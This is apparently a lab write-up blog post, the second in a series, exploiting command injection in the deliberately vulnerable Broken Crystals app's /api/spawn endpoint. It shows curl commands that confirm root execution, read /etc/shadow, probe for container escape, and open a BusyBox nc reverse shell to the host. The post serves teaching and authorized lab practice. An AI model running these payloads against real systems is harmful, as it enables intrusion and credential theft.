Broken Crystals Field Notes 2: From a Single Query Parameter to a Root Reverse Shell
- Part 1: Information Disclosure → Arbitrary File Read (LFI)
- ▸ Part 2: query parameter → root reverse shell (this post)
- Part 3: eval SSJI for RCE, plus XXE
- Part 4: MCP Attack → admin RCE kill chain
Picking up from the previous post, I've already used the arbitrary file read (LFI) in/api/fileto turn Broken Crystals from a black box into a white box—I can now read the compiled source of the NestJS backend at will. In this post I take the OS command injection in/api/spawn, which I found through source auditing, all the way to an interactive reverse shell as root inside the container, and record two practical details I ran into along the way: "command injection without a shell" and "reverse shell into a WSL2 host."
1. White-box recon: spotting the command injection at a glance
With LFI in hand, reading the backend source is the shortcut. I read dist/app.controller.js, and the implementation of /api/spawn is practically self-explanatory:
async getCommandResult(command) {
return await this.appService.launchCommand(command); // command goes straight into launchCommand
}
Combined with @Get('spawn') and @Query('command'), and with the Swagger example generously spelling out example: 'ls -la', the fully user-controlled command is fed directly into launchCommand—this endpoint is basically designed to be popped for RCE. That same controller actually also harbors the eval() SSJI in /api/process_numbers and the XXE in /api/metadata, both RCE-grade. This post focuses on the spawn path; the rest I'll deal with later.
2. Confirming the injection: root on the first shot
First a harmless check to confirm it really executes system commands:
curl -s "http://localhost:3000/api/spawn?command=id"
# uid=0(root) gid=0(root) groups=0(root),...
uid=0(root)—not just RCE, but straight-up root.
There's a comparison here worth pausing on: earlier, when I read /etc/passwd, the app presented itself externally as running under the node user (uid 1000), yet running id through spawn returns root. This means the nodejs container itself is running as root—a double problem of command injection plus root inside the container.
3. The key trait: spawn doesn't go through a shell
The instinct after landing RCE is to chain commands, but here I hit a very instructive snag:
curl -s "http://localhost:3000/api/spawn?command=id;whoami;hostname"
# {"error":"spawn id;whoami;hostname ENOENT",...}
ENOENT (Error NO ENTry) means the executable can't be found—notice that it took the entire string id;whoami;hostname as one command name to look up. That reveals the underlying implementation: it's Node's spawn(command), with no shell involved.
From this you can determine the type of command injection, which is critical in real pentests:
- With a shell (
exec("...")orsh -c) → shell metacharacters like;,&&,|,$()work, and you can chain freely. - Without a shell (
spawn(cmd, args)without{shell:true}) → the whole string is treated as a single executable name, and metacharacters mean nothing.
But it's not that you can't pass arguments at all—testing shows it splits on spaces, taking the first token as the executable and the rest as arguments:
curl -s -G "http://localhost:3000/api/spawn" --data-urlencode "command=cat /etc/shadow"
# root:*::0::::: ... (successfully read the root-only shadow file)
So the capability boundary is crystal clear: you can run any single command with space-separated arguments, but you cannot chain multiple commands with metacharacters.
Tip: when a command contains spaces or special characters, usecurl -G ... --data-urlencode "command=..."to let curl handle the URL encoding automatically, so you don't have to work out%20by hand. This is equally handy when firing payloads in real bug bounty work.
4. Container escape recon: finding the ceiling
With root inside the container, the first question to ask is "can I break out to the host?" Checking item by item:
# is docker.sock mounted in?
curl -s -G "http://localhost:3000/api/spawn" --data-urlencode "command=ls -la /var/run/docker.sock"
# ls: /var/run/docker.sock: No such file or directory
# capabilities
curl -s -G "http://localhost:3000/api/spawn" --data-urlencode "command=cat /proc/self/status" | grep -i cap
# CapEff: 00000000a80425fb
Reading it:
- No docker.sock → the most direct escape ("control the host daemon through the socket") is off the table.
CapEff: a80425fb→ this is Docker's default capability set, and it does not includecap_sys_admin(the one privileged escapes love most), meaning this is a standard non-privileged container.
Conclusion: although I'm root inside the container, it's a standard, properly isolated, non-privileged container. There's no breaking out to the host, so root inside the container is the ceiling of this path—which is also the lab's responsible design: it lets you play all the way to root RCE, but won't let you accidentally wreck the host.
5. Upgrading to a reverse shell
Firing curl one command at a time is tedious, and you can't chain. Upgrading to an interactive reverse shell is the standard move after RCE.
Environment recon
First, see what reverse-shell tools the container has (Alpine is extremely stripped down):
curl -s -G "http://localhost:3000/api/spawn" --data-urlencode "command=which nc bash sh python3 perl busybox"
# /usr/bin/nc (only nc, nothing else)
Only nc. Next, confirm its variant and whether it supports -e:
curl -s -G "http://localhost:3000/api/spawn" --data-urlencode "command=nc --help"
# BusyBox v1.37.0 ... -e PROG Run PROG after connect (must be last)
It's BusyBox nc, and it has -e (must be last, so the argument goes at the very end). That spares us the hassle of setting up an mkfifo pipe as you would without -e.
Network recon
curl -s -G "http://localhost:3000/api/spawn" --data-urlencode "command=ip route"
# default via 172.22.0.1 dev eth0
172.22.0.1 is the Docker network gateway—that is, the WSL2 host's address as seen from inside the container. The reverse shell connects back to this.
Here the "no shell" restriction actually works in our favor
A reverse-shell payload without -e needs metacharacters like ;, |, >, and 2>&1, all of which are useless under spawn. But because this nc has -e, the reverse shell itself is a purely space-separated command that needs no metacharacters at all:
nc 172.22.0.1 4444 -e /bin/sh
This is precisely the natural shape of spawn("nc", ["172.22.0.1","4444","-e","/bin/sh"])—spawn's space-splitting has conveniently pre-divided the arguments for us.
Listener on WSL
# in a new WSL Kali tab
nc -lvnp 4444
Send the payload:
curl -s -G "http://localhost:3000/api/spawn" --data-urlencode "command=nc 172.22.0.1 4444 -e /bin/sh"
Result:
connect to [172.22.0.1] from (UNKNOWN) [172.22.0.7] 35451
id
uid=0(root) gid=0(root) groups=0(root),...
An interactive shell as root inside the container is ours.
Attack chain summary
White-box source audit (read dist/app.controller.js)
└─ locate /api/spawn command injection
├─ command=id → uid=0(root) (direct root RCE)
├─ determine type: spawn without shell (; chaining → ENOENT, but space-separated args work)
├─ escape recon: no docker.sock, non-privileged container → ceiling is inside the container
└─ BusyBox nc -e reverse shell → interactive root shell inside the container
A single ?command= query parameter, run through the full flow of "confirm RCE → determine the command-injection type → container-escape recon → upgrade to reverse shell," gives complete control of the container. The point isn't how simple the bug itself is, but the systematic assessment and expansion that follows once you have RCE—judging whether a command injection goes through a shell, whether the container can be escaped, and how to pop an interactive shell in a constrained environment. Those are the skills that transfer to real targets.
This article is a record of testing against a self-hosted lab within an authorized scope. All content is for defensive research and educational purposes only. Do not apply any of these techniques to unauthorized targets.
Member discussion